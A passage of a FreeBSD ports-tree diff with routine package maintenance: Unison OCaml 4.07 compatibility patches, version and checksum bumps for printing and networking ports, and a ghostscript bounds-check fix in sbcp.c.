+-let closeProcessArgsFull = fullProcRes.release +- + let readChannelTillEof c = + let lst = ref [] in + let rec loop () = +@@ -108,11 +80,10 @@ let readChannelsTillEof l = + >>= (fun res -> return (String.concat "\n" (Safelist.rev res)))) + l + +- +-let runExternalProgramAux ~winProc ~posixProc = ++let runExternalProgram cmd = + if Util.osType = `Win32 && not Util.isCygwin then begin + debug (fun()-> Util.msg "Executing external program windows-style\n"); +- let c = winProc () in ++ let c = openProcessIn ("\"" ^ cmd ^ "\"") in + let log = Util.trimWhitespace (readChannelTillEof c) in + let returnValue = closeProcessIn c in + let resultLog = +@@ -124,7 +95,7 @@ let runExternalProgramAux ~winProc ~posixProc = + "") in + Lwt.return (returnValue, resultLog) + end else +- let (out, ipt, err) as desc = posixProc () in ++ let (out, ipt, err) as desc = openProcessFull cmd in + let out = Lwt_unix.intern_in_channel out in + let err = Lwt_unix.intern_in_channel err in + readChannelsTillEof [out;err] +@@ -143,13 +114,3 @@ let runExternalProgramAux ~winProc ~posixProc = + else "\n\n" ^ Util.process_status_to_string returnValue))) + (* Stop typechechecker from complaining about non-exhaustive pattern above *) + | _ -> assert false) +- +-let runExternalProgram cmd = +- runExternalProgramAux +- ~winProc:(fun () -> openProcessIn ("\"" ^ cmd ^ "\"")) +- ~posixProc:(fun () -> openProcessFull cmd) +- +-let runExternalProgramArgs cmd args = +- runExternalProgramAux +- ~winProc:(fun () -> openProcessArgsIn cmd args) +- ~posixProc:(fun () -> openProcessArgsFull cmd args) +diff --git a/src/external.mli b/src/external.mli +index d2d0bae5b..30d2dbd05 100644 +--- external.mli ++++ external.mli +@@ -2,5 +2,4 @@ + (* Copyright 1999-2020, Benjamin C. Pierce (see COPYING for details) *) + + val runExternalProgram : string -> (Unix.process_status * string) Lwt.t +-val runExternalProgramArgs : string -> string array -> (Unix.process_status * string) Lwt.t + val readChannelTillEof : in_channel -> string +diff --git a/src/system/system_generic.ml b/src/system/system_generic.ml +index 15509abd5..3ef4fb09b 100644 +--- system/system_generic.ml ++++ system/system_generic.ml +@@ -272,10 +272,8 @@ let open_in_bin = open_in_bin + + let create_process = Unix.create_process + let open_process_in = Unix.open_process_in +-let open_process_args_in = Unix.open_process_args_in + let open_process_out = Unix.open_process_out + let open_process_full cmd = Unix.open_process_full cmd (Unix.environment ()) +-let open_process_args_full cmd args = Unix.open_process_args_full cmd args (Unix.environment ()) + let process_in_pid = Unix.process_in_pid + let process_out_pid = Unix.process_out_pid + let process_full_pid = Unix.process_full_pid +diff --git a/src/system/system_intf.ml b/src/system/system_intf.ml +index 873f4ca57..4dc60dd3b 100644 +--- system/system_intf.ml ++++ system/system_intf.ml +@@ -99,12 +99,9 @@ val create_process : + string -> string array -> + Unix.file_descr -> Unix.file_descr -> Unix.file_descr -> int + val open_process_in : string -> in_channel +-val open_process_args_in : string -> string array -> in_channel + val open_process_out : string -> out_channel + val open_process_full : + string -> in_channel * out_channel * in_channel +-val open_process_args_full : +- string -> string array -> in_channel * out_channel * in_channel + val process_in_pid : in_channel -> int + val process_out_pid : out_channel -> int + val process_full_pid : in_channel * out_channel * in_channel -> int diff --git a/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-02 b/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-02 new file mode 100644 index 00000000000..cdd50a67e1d --- /dev/null +++ b/net/unison/files/patch-ocaml_4.07-compat-copyquoterem-02 @@ -0,0 +1,54 @@ +From f9191b19dfaba01f5903ce36eb0258edef09964e Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?T=C3=B5ivo=20Leedj=C3=A4rv?= +Date: Tue, 25 Apr 2023 09:35:14 +0200 +Subject: [PATCH] Revert "Regen strings.ml" + +This reverts commit 63963d80157346c2f3c9073f741bbd58e5c32545. +--- + src/strings.ml | 19 +++++++++++++++++++ + 1 file changed, 19 insertions(+) + +diff --git a/src/strings.ml b/src/strings.ml +index 6e853eb07..eb00eac5f 100644 +--- strings.ml ++++ strings.ml +@@ -1286,6 +1286,8 @@ let docs = + \032 -copymax n maximum number of simultaneous copyprog transfers\n\ + \032 -copyprog xxx external program for copying large files\n\ + \032 -copyprogrest xxx variant of copyprog for resuming partial transfers\n\ ++ \032 -copyquoterem xxx add quotes to remote file name for copyprog\n\ ++ \032 (true/false/default)\n\ + \032 -copythreshold n use copyprog on files bigger than this (if >=0, in Kb)\n\ + \032 -diff xxx set command for showing differences between files\n\ + \032 -ignorelocks ignore locks left over from previous run (dangerous!)\n\ +@@ -1502,6 +1504,15 @@ let docs = + \032 rsync). The default setting invokes rsync with appropriate\n\ + \032 options\226\128\148most users should not need to change it.\n\ + \n\ ++ \032 copyquoterem xxx\n\ ++ \032 When set to true, this flag causes Unison to add an extra layer\n\ ++ \032 of quotes to the remote path passed to the external copy\n\ ++ \032 program. This is needed by rsync, for example, which internally\n\ ++ \032 uses an ssh connection requiring an extra level of quoting for\n\ ++ \032 paths containing spaces. When this flag is set to default, extra\n\ ++ \032 quotes are added if the value of copyprog contains the string\n\ ++ \032 rsync.\n\ ++ \n\ + \032 copythreshold n\n\ + \032 A number indicating above what filesize (in kilobytes) Unison\n\ + \032 should use the external copying utility specified by copyprog.\n\ +@@ -3113,6 +3124,14 @@ let docs = + \032 copyprog = rsync --inplace --compress\n\ + \032 copyprogrest = rsync --partial --inplace --compress\n\ + \n\ ++ \032 You may also need to set the copyquoterem preference. When it is set to\n\ ++ \032 true, this causes Unison to add an extra layer of quotes to the remote\n\ ++ \032 path passed to the external copy program. This is is needed by rsync,\n\ ++ \032 for example, which internally uses an ssh connection, requiring an\n\ ++ \032 extra level of quoting for paths containing spaces. When this flag is\n\ ++ \032 set to default, extra quotes are added if the value of copyprog\n\ ++ \032 contains the string rsync. The default value is default, naturally.\n\ ++ \n\ + \032 If a directory transfer is interrupted, the next run of Unison will\n\ + \032 automatically skip any files that were completely transferred before\n\ + \032 the interruption. (This behavior is always on: it does not depend on\n\ diff --git a/net/unison/files/patch-ubase_umarshal.ml b/net/unison/files/patch-ubase_umarshal.ml deleted file mode 100644 index 0edb9f18aec..00000000000 --- a/net/unison/files/patch-ubase_umarshal.ml +++ /dev/null @@ -1,114 +0,0 @@ ---- ubase/umarshal.ml.orig 2022-10-30 19:42:39 UTC -+++ ubase/umarshal.ml -@@ -15,6 +15,111 @@ - along with this program. If not, see . - *) - -+(* OCaml 4.07 compatibility ONLY *) -+module Bytes = struct -+ -+include Bytes -+ -+(* The following code is taken from OCaml sources. -+ Authors of the code snippet: Alain Frisch and Daniel Bünzli *) -+ -+(**************************************************************************) -+(* *) -+(* OCaml *) -+(* *) -+(* Xavier Leroy, projet Cristal, INRIA Rocquencourt *) -+(* *) -+(* Copyright 1996 Institut National de Recherche en Informatique et *) -+(* en Automatique. *) -+(* *) -+(* All rights reserved. This file is distributed under the terms of *) -+(* the GNU Lesser General Public License version 2.1, with the *) -+(* special exception on linking described in the file LICENSE. *) -+(* *) -+(**************************************************************************) -+ -+(** {6 Binary encoding/decoding of integers} *) -+ -+external get_uint8 : bytes -> int -> int = "%string_safe_get" -+external get_uint16_ne : bytes -> int -> int = "%caml_string_get16" -+external get_int32_ne : bytes -> int -> int32 = "%caml_string_get32" -+external get_int64_ne : bytes -> int -> int64 = "%caml_string_get64" -+external set_int8 : bytes -> int -> int -> unit = "%string_safe_set" -+external set_int16_ne : bytes -> int -> int -> unit = "%caml_string_set16" -+external set_int32_ne : bytes -> int -> int32 -> unit = "%caml_string_set32" -+external set_int64_ne : bytes -> int -> int64 -> unit = "%caml_string_set64" -+external swap16 : int -> int = "%bswap16" -+external swap32 : int32 -> int32 = "%bswap_int32" -+external swap64 : int64 -> int64 = "%bswap_int64" -+ -+let get_int8 b i = -+ ((get_uint8 b i) lsl (Sys.int_size - 8)) asr (Sys.int_size - 8) -+ -+let get_uint16_le b i = -+ if Sys.big_endian then swap16 (get_uint16_ne b i) -+ else get_uint16_ne b i -+ -+let get_uint16_be b i = -+ if not Sys.big_endian then swap16 (get_uint16_ne b i) -+ else get_uint16_ne b i -+ -+let get_int16_ne b i = -+ ((get_uint16_ne b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) -+ -+let get_int16_le b i = -+ ((get_uint16_le b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) -+ -+let get_int16_be b i = -+ ((get_uint16_be b i) lsl (Sys.int_size - 16)) asr (Sys.int_size - 16) -+ -+let get_int32_le b i = -+ if Sys.big_endian then swap32 (get_int32_ne b i) -+ else get_int32_ne b i -+ -+let get_int32_be b i = -+ if not Sys.big_endian then swap32 (get_int32_ne b i) -+ else get_int32_ne b i -+ -+let get_int64_le b i = -+ if Sys.big_endian then swap64 (get_int64_ne b i) -+ else get_int64_ne b i -+ -+let get_int64_be b i = -+ if not Sys.big_endian then swap64 (get_int64_ne b i) -+ else get_int64_ne b i -+ -+let set_int16_le b i x = -+ if Sys.big_endian then set_int16_ne b i (swap16 x) -+ else set_int16_ne b i x -+ -+let set_int16_be b i x = -+ if not Sys.big_endian then set_int16_ne b i (swap16 x) -+ else set_int16_ne b i x -+ -+let set_int32_le b i x = -+ if Sys.big_endian then set_int32_ne b i (swap32 x) -+ else set_int32_ne b i x -+ -+let set_int32_be b i x = -+ if not Sys.big_endian then set_int32_ne b i (swap32 x) -+ else set_int32_ne b i x -+ -+let set_int64_le b i x = -+ if Sys.big_endian then set_int64_ne b i (swap64 x) -+ else set_int64_ne b i x -+ -+let set_int64_be b i x = -+ if not Sys.big_endian then set_int64_ne b i (swap64 x) -+ else set_int64_ne b i x -+ -+let set_uint8 = set_int8 -+let set_uint16_ne = set_int16_ne -+let set_uint16_be = set_int16_be -+let set_uint16_le = set_int16_le -+ -+end -+(* / *) -+ - exception Error of string - - type 'a t = { diff --git a/net/wangle/Makefile b/net/wangle/Makefile index d5fa7e1a2dd..c270d482545 100644 --- a/net/wangle/Makefile +++ b/net/wangle/Makefile @@ -1,7 +1,6 @@ PORTNAME= wangle DISTVERSIONPREFIX= v -DISTVERSION= 2023.04.24.00 -PORTREVISION= 1 +DISTVERSION= 2023.05.01.00 CATEGORIES= net MAINTAINER= yuri@FreeBSD.org diff --git a/net/wangle/distinfo b/net/wangle/distinfo index 738f0e16b7e..488ad2fb088 100644 --- a/net/wangle/distinfo +++ b/net/wangle/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682372451 -SHA256 (facebook-wangle-v2023.04.24.00_GH0.tar.gz) = 43986e7d7440971b6e46995695d7e75cfe6166abb1c8d1254f7ff357603fb32b -SIZE (facebook-wangle-v2023.04.24.00_GH0.tar.gz) = 341358 +TIMESTAMP = 1682966459 +SHA256 (facebook-wangle-v2023.05.01.00_GH0.tar.gz) = c197f53d183be89594b1749cce473f9202f65061da3a3297089d98b6fd2faf52 +SIZE (facebook-wangle-v2023.05.01.00_GH0.tar.gz) = 341357 diff --git a/net/wifi-firmware-base/Makefile b/net/wifi-firmware-base/Makefile index ede79959f00..8177bd045e5 100644 --- a/net/wifi-firmware-base/Makefile +++ b/net/wifi-firmware-base/Makefile @@ -8,6 +8,9 @@ MAINTAINER= bz@FreeBSD.org COMMENT= Firmware modules for ${FWDRV} ${FLAVOR} WiFi NIC WWW?= https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/${FWSUBDIR} +FWDRV_VERSION?= 0 +FWDRV?= base + LICENSE_NAME?= firmware license (${FWDRV}) LICENSE_FILE?= ${WRKSRC}/${LICENSE} LICENSE_PERMS?= dist-mirror no-dist-sell pkg-mirror no-pkg-sell auto-accept diff --git a/news/inn/Makefile b/news/inn/Makefile index 43f8ef0bfb2..9298d3ac2b3 100644 --- a/news/inn/Makefile +++ b/news/inn/Makefile @@ -1,6 +1,6 @@ PORTNAME?= inn -PORTVERSION?= 2.7.0 -PORTREVISION?= 1 +PORTVERSION?= 2.7.1 +PORTREVISION?= 0 CATEGORIES= news MASTER_SITES= ISC MASTER_SITE_SUBDIR?= ${PORTNAME} @@ -71,9 +71,9 @@ CONFIGURE_ARGS+= --mandir=${MANPREFIX}/man \ UUCP_RNEWS_RUN_DEPENDS= uucp:net/freebsd-uucp -INNLIB_LONG?= 8.0.0 -LIBVER_LONG?= 3.0.6 -LIBSTORAGEVER_LONG?= 3.1.0 +INNLIB_LONG?= 9.0.0 +LIBVER_LONG?= 3.0.7 +LIBSTORAGEVER_LONG?= 3.1.1 PLIST_SUB+= LIBVER=${LIBVER_LONG:R:R} LIBVER_LONG=${LIBVER_LONG} \ INNLIB=${INNLIB_LONG:R:R} INNLIB_LONG=${INNLIB_LONG} \ LIBSTORAGEVER=${LIBSTORAGEVER_LONG:R:R} LIBSTORAGEVER_LONG=${LIBSTORAGEVER_LONG} diff --git a/news/inn/distinfo b/news/inn/distinfo index 61c962321ad..ef7b73e3165 100644 --- a/news/inn/distinfo +++ b/news/inn/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1659899363 -SHA256 (inn-2.7.0.tar.gz) = 75c17e02aac939149187766a448e706118e13b22fecd8802a987e1f8ce866066 -SIZE (inn-2.7.0.tar.gz) = 2718463 +TIMESTAMP = 1682872459 +SHA256 (inn-2.7.1.tar.gz) = e8e0ca77f60f950f1747c82f72697dd7c2697bc691b46f7562056255795d93f4 +SIZE (inn-2.7.1.tar.gz) = 2753330 diff --git a/news/inn/pkg-plist b/news/inn/pkg-plist index bb902f275c2..5ed494a2428 100644 --- a/news/inn/pkg-plist +++ b/news/inn/pkg-plist @@ -76,6 +76,7 @@ bin/ovdb_server bin/ovdb_stat bin/overchan %%SQLITE%%bin/ovsqlite-server +%%SQLITE%%bin/ovsqlite-util bin/perl-nocem bin/pgpverify bin/procbatch @@ -291,6 +292,7 @@ man/man8/ovdb_monitor.8.gz man/man8/ovdb_server.8.gz man/man8/ovdb_stat.8.gz %%SQLITE%%man/man8/ovsqlite-server.8.gz +%%SQLITE%%man/man8/ovsqlite-util.8.gz man/man8/overchan.8.gz man/man8/perl-nocem.8.gz man/man8/procbatch.8.gz diff --git a/news/nzbget/Makefile b/news/nzbget/Makefile index 178efbc5df4..34ddedfa2b2 100644 --- a/news/nzbget/Makefile +++ b/news/nzbget/Makefile @@ -1,7 +1,7 @@ PORTNAME= nzbget PORTVERSION= 21.1 -PORTREVISION= 2 DISTVERSIONPREFIX= v +PORTREVISION= 2 CATEGORIES= news MAINTAINER= alexis.praga@free.fr @@ -14,6 +14,8 @@ LIB_DEPENDS= libxml2.so:textproc/libxml2 USES= autoreconf compiler:c++14-lang cpe gmake localbase ncurses \ pkgconfig python:build shebangfix ssl +BROKEN_SSL= openssl30 openssl31 +BROKEN_SSL_REASON= Requires FIPS_mode_set routine which has been removed from OpenSSL 3.0.0 and later USE_GITHUB= yes USE_RC_SUBR= nzbget diff --git a/print/cups-filters/Makefile b/print/cups-filters/Makefile index 11fae2fbcb9..6bdf55102c9 100644 --- a/print/cups-filters/Makefile +++ b/print/cups-filters/Makefile @@ -1,6 +1,6 @@ PORTNAME= cups-filters PORTVERSION= 1.28.16 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= print MASTER_SITES= https://www.openprinting.org/download/cups-filters/ diff --git a/print/epson-inkjet-printer-escpr/Makefile b/print/epson-inkjet-printer-escpr/Makefile index ff99e018358..97f5c26d5ec 100644 --- a/print/epson-inkjet-printer-escpr/Makefile +++ b/print/epson-inkjet-printer-escpr/Makefile @@ -1,8 +1,8 @@ PORTNAME= epson-inkjet-printer-escpr -DISTVERSION= 1.7.22 +DISTVERSION= 1.7.26 DISTVERSIONSUFFIX= -1lsb3.2 CATEGORIES= print -MASTER_SITES= https://download3.ebz.epson.net/dsc/f/03/00/13/96/55/c6fced63098ae1ba104f11f572794fd558ffca29/ +MASTER_SITES= https://download3.ebz.epson.net/dsc/f/03/00/14/48/15/c864d000b06bebeec8832ce6f68bb079c36d838a/ MAINTAINER= tatsuki_makino@hotmail.com COMMENT= Epson Inkjet Printer Driver (ESC/P-R) for Linux @@ -14,7 +14,7 @@ LICENSE_FILE= ${WRKSRC}/COPYING LIB_DEPENDS= libcupsimage.so:print/cups RUN_DEPENDS= ${LOCALBASE}/libexec/cups/filter/gstoraster:print/cups-filters -USES= autoreconf dos2unix libtool +USES= autoreconf:2.69 dos2unix libtool USE_LDCONFIG= yes GNU_CONFIGURE= yes CONFIGURE_ARGS= --enable-lsb diff --git a/print/epson-inkjet-printer-escpr/distinfo b/print/epson-inkjet-printer-escpr/distinfo index 421ff796265..94f47bbc10f 100644 --- a/print/epson-inkjet-printer-escpr/distinfo +++ b/print/epson-inkjet-printer-escpr/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1667358000 -SHA256 (epson-inkjet-printer-escpr-1.7.22-1lsb3.2.tar.gz) = 0b2fefa7fd077b6fdf778cb53a8c60bf999a396ef88145182c5c4a08f34c652c -SIZE (epson-inkjet-printer-escpr-1.7.22-1lsb3.2.tar.gz) = 5376867 +TIMESTAMP = 1681182000 +SHA256 (epson-inkjet-printer-escpr-1.7.26-1lsb3.2.tar.gz) = 690e8c9c5b993489830de5ddb16ba2ba4c21b474978bda082ed7d1d1c48482e9 +SIZE (epson-inkjet-printer-escpr-1.7.26-1lsb3.2.tar.gz) = 5484887 diff --git a/print/epson-inkjet-printer-escpr/files/patch-ppd_Makefile.am b/print/epson-inkjet-printer-escpr/files/patch-ppd_Makefile.am index 467af4ea326..89733927dff 100644 --- a/print/epson-inkjet-printer-escpr/files/patch-ppd_Makefile.am +++ b/print/epson-inkjet-printer-escpr/files/patch-ppd_Makefile.am @@ -1,6 +1,6 @@ ---- ppd/Makefile.am.orig 2022-10-06 02:42:39 UTC +--- ppd/Makefile.am.orig 2023-04-03 07:36:37 UTC +++ ppd/Makefile.am -@@ -695,8 +695,10 @@ EXTRA_DIST = $(cupsppd_DATA) +@@ -707,8 +707,10 @@ EXTRA_DIST = $(cupsppd_DATA) # LSBビルド環境の場合、~/.rpmmacros %adjust_ppds が担っている処理を実施 install-data-hook: diff --git a/print/epson-inkjet-printer-escpr/pkg-descr b/print/epson-inkjet-printer-escpr/pkg-descr index 183987fcb21..de107d747d1 100644 --- a/print/epson-inkjet-printer-escpr/pkg-descr +++ b/print/epson-inkjet-printer-escpr/pkg-descr @@ -1,10 +1,10 @@ -This software is a filter program used with the Common UNIX Printing -System (CUPS) on the Linux platform. -The software offers high quality printing with Seiko Epson color ink jet -printers. +This software is a filter program used with Common UNIX Printing +System (CUPS) from the Linux. This can supply the high quality print +with Seiko Epson Color Ink Jet Printers. -This product can only be used with printers that support the Epson ESC/P-R -language. +This product supports only EPSON ESC/P-R printers. This package can be +used for all EPSON ESC/P-R printers. -Please see refer to follows for a list of supported printers. -https://download.ebz.epson.net/dsc/search/01/search/?OSC=LX +For detail list of supported printer, please refer to WWW site +provided by the following command: +pkg rquery %w epson-inkjet-printer-escpr diff --git a/print/epson-inkjet-printer-escpr/pkg-plist b/print/epson-inkjet-printer-escpr/pkg-plist index efb5c13578f..e70b798e725 100644 --- a/print/epson-inkjet-printer-escpr/pkg-plist +++ b/print/epson-inkjet-printer-escpr/pkg-plist @@ -39,6 +39,7 @@ share/cups/model/epson-inkjet-printer-escpr/Epson-EC-C110_Series-epson-escpr-en. share/cups/model/epson-inkjet-printer-escpr/Epson-EP-10VA_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-EP-306_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-EP-30VA_Series-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-EP-315_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-EP-4004-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-EP-702A-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-EP-703A-epson-escpr-en.ppd.gz @@ -259,11 +260,13 @@ share/cups/model/epson-inkjet-printer-escpr/Epson-PX-M840FX-epson-escpr-en.ppd.g share/cups/model/epson-inkjet-printer-escpr/Epson-PX-M860F-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S05_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S06_Series-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S155_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S160T_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S170T_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S170UT_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S350-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S5040-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S505_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S7050PS-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S7050X-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-PX-S7050_Series-epson-escpr-en.ppd.gz @@ -434,6 +437,7 @@ share/cups/model/epson-inkjet-printer-escpr/Epson-TX720_Artisan720-epson-escpr-e share/cups/model/epson-inkjet-printer-escpr/Epson-TX820_Artisan830-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-100_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-110_Series-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-WF-2110_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-2510_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-2520_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-2530_Series-epson-escpr-en.ppd.gz @@ -480,6 +484,7 @@ share/cups/model/epson-inkjet-printer-escpr/Epson-WF-8010_Series-epson-escpr-en. share/cups/model/epson-inkjet-printer-escpr/Epson-WF-8090_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-8510_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-8590_Series-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-WF-M1130_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-M1560_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-M5190_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-WF-M5690_Series-epson-escpr-en.ppd.gz @@ -586,6 +591,7 @@ share/cups/model/epson-inkjet-printer-escpr/Epson-XP-610_Series-epson-escpr-en.p share/cups/model/epson-inkjet-printer-escpr/Epson-XP-620_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-XP-630_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-XP-640_Series-epson-escpr-en.ppd.gz +share/cups/model/epson-inkjet-printer-escpr/Epson-XP-65_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-XP-700_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-XP-7100_Series-epson-escpr-en.ppd.gz share/cups/model/epson-inkjet-printer-escpr/Epson-XP-710_Series-epson-escpr-en.ppd.gz diff --git a/print/ghostscript9-agpl-base/Makefile b/print/ghostscript9-agpl-base/Makefile index a63f0724fb5..305e4439773 100644 --- a/print/ghostscript9-agpl-base/Makefile +++ b/print/ghostscript9-agpl-base/Makefile @@ -1,6 +1,6 @@ PORTNAME= ghostscript PORTVERSION= 9.56.1 -PORTREVISION= 9 +PORTREVISION= 10 CATEGORIES= print MASTER_SITES= https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs${PORTVERSION:S/.//g}/ PKGNAMESUFFIX= 9-agpl-base diff --git a/print/ghostscript9-agpl-base/files/patch-base_cbcp.c b/print/ghostscript9-agpl-base/files/patch-base_cbcp.c new file mode 100644 index 00000000000..f1048393c10 --- /dev/null +++ b/print/ghostscript9-agpl-base/files/patch-base_cbcp.c @@ -0,0 +1,23 @@ +--- base/sbcp.c ++++ base/sbcp.c +@@ -1,4 +1,4 @@ +-/* Copyright (C) 2001-2021 Artifex Software, Inc. ++/* Copyright (C) 2001-2023 Artifex Software, Inc. + All Rights Reserved. + + This software is provided AS-IS with no warranty, either express or +@@ -50,6 +50,14 @@ s_xBCPE_process(stream_state * st, stream_cursor_read * pr, + byte ch = *++p; + + if (ch <= 31 && escaped[ch]) { ++ /* Make sure we have space to store two characters in the write buffer, ++ * if we don't then exit without consuming the input character, we'll process ++ * that on the next time round. ++ */ ++ if (pw->limit - q < 2) { ++ p--; ++ break; ++ } + if (p == rlimit) { + p--; + break; diff --git a/print/harfbuzz-icu/Makefile b/print/harfbuzz-icu/Makefile index f2dc8aadc1a..a651fa64d78 100644 --- a/print/harfbuzz-icu/Makefile +++ b/print/harfbuzz-icu/Makefile @@ -1,4 +1,4 @@ -PORTREVISION= 1 +PORTREVISION= 0 PKGNAMESUFFIX= -icu COMMENT= Harfbuzz ICU support diff --git a/print/html2ps/Makefile b/print/html2ps/Makefile index cd88412a6a6..ab4e03447c3 100644 --- a/print/html2ps/Makefile +++ b/print/html2ps/Makefile @@ -1,6 +1,6 @@ PORTNAME= html2ps DISTVERSION= 1.0b7 -PORTREVISION= 6 +PORTREVISION= 7 PORTEPOCH= 1 CATEGORIES= print www perl5 MASTER_SITES= LOCAL/hrs diff --git a/print/latex2rtf/Makefile b/print/latex2rtf/Makefile index 1917d8aee07..04d46ef274f 100644 --- a/print/latex2rtf/Makefile +++ b/print/latex2rtf/Makefile @@ -1,5 +1,6 @@ PORTNAME= latex2rtf DISTVERSION= 2.3.17 +PORTREVISION= 1 CATEGORIES= print MASTER_SITES= SF/${PORTNAME}/${PORTNAME}-unix/${PORTVERSION} \ TEX_CTAN diff --git a/print/lilypond-devel/Makefile b/print/lilypond-devel/Makefile index b54279abb68..d9680168741 100644 --- a/print/lilypond-devel/Makefile +++ b/print/lilypond-devel/Makefile @@ -1,5 +1,6 @@ PORTNAME= lilypond DISTVERSION= 2.23.80 +PORTREVISION= 1 CATEGORIES= print audio MASTER_SITES= http://lilypond.org/download/source/v${DISTVERSION:R}/ PKGNAMESUFFIX= -devel diff --git a/print/lilypond/Makefile b/print/lilypond/Makefile index 2b6b88d086b..7bb59047d76 100644 --- a/print/lilypond/Makefile +++ b/print/lilypond/Makefile @@ -1,6 +1,6 @@ PORTNAME= lilypond DISTVERSION= 2.22.2 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= print audio MASTER_SITES= http://lilypond.org/download/source/v${DISTVERSION:R}/ diff --git a/print/lout/Makefile b/print/lout/Makefile index 79661c17627..c84e957741f 100644 --- a/print/lout/Makefile +++ b/print/lout/Makefile @@ -1,5 +1,6 @@ PORTNAME= lout PORTVERSION= 3.42.2 +PORTREVISION= 1 CATEGORIES= print MAINTAINER= kbowling@FreeBSD.org diff --git a/print/muttprint/Makefile b/print/muttprint/Makefile index 6620a42365a..620bacaf21c 100644 --- a/print/muttprint/Makefile +++ b/print/muttprint/Makefile @@ -1,6 +1,6 @@ PORTNAME= muttprint PORTVERSION= 0.73 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= print mail MASTER_SITES= SF/muttprint/muttprint/muttprint-${PORTVERSION} diff --git a/print/pdf-redact-tools/Makefile b/print/pdf-redact-tools/Makefile index 6b5f2c823c3..88cbb53c6ed 100644 --- a/print/pdf-redact-tools/Makefile +++ b/print/pdf-redact-tools/Makefile @@ -1,7 +1,7 @@ PORTNAME= pdf-redact-tools PORTVERSION= 0.1.2 DISTVERSIONPREFIX= v -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= print PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/print/pdf-tools/Makefile b/print/pdf-tools/Makefile index 77eaa4010a7..3ce9c7bce5f 100644 --- a/print/pdf-tools/Makefile +++ b/print/pdf-tools/Makefile @@ -1,7 +1,7 @@ PORTNAME= pdf-tools DISTVERSIONPREFIX= v DISTVERSION= 1.0.0 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= print elisp PKGNAMESUFFIX= ${EMACS_PKGNAMESUFFIX} diff --git a/print/pdfmixtool/Makefile b/print/pdfmixtool/Makefile index 9173e536f3b..9699419be37 100644 --- a/print/pdfmixtool/Makefile +++ b/print/pdfmixtool/Makefile @@ -1,5 +1,6 @@ PORTNAME= pdfmixtool DISTVERSION= 1.1.1 +PORTREVISION= 1 CATEGORIES= print graphics editors PKGNAMESUFFIX= -${FLAVOR} diff --git a/print/py-pypdf/Makefile b/print/py-pypdf/Makefile index a997a301104..47c2bebe447 100644 --- a/print/py-pypdf/Makefile +++ b/print/py-pypdf/Makefile @@ -1,5 +1,5 @@ PORTNAME= pypdf -PORTVERSION= 3.8.0 +PORTVERSION= 3.8.1 CATEGORIES= print python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/print/py-pypdf/distinfo b/print/py-pypdf/distinfo index 10817af46c7..91c637b02ff 100644 --- a/print/py-pypdf/distinfo +++ b/print/py-pypdf/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682338336 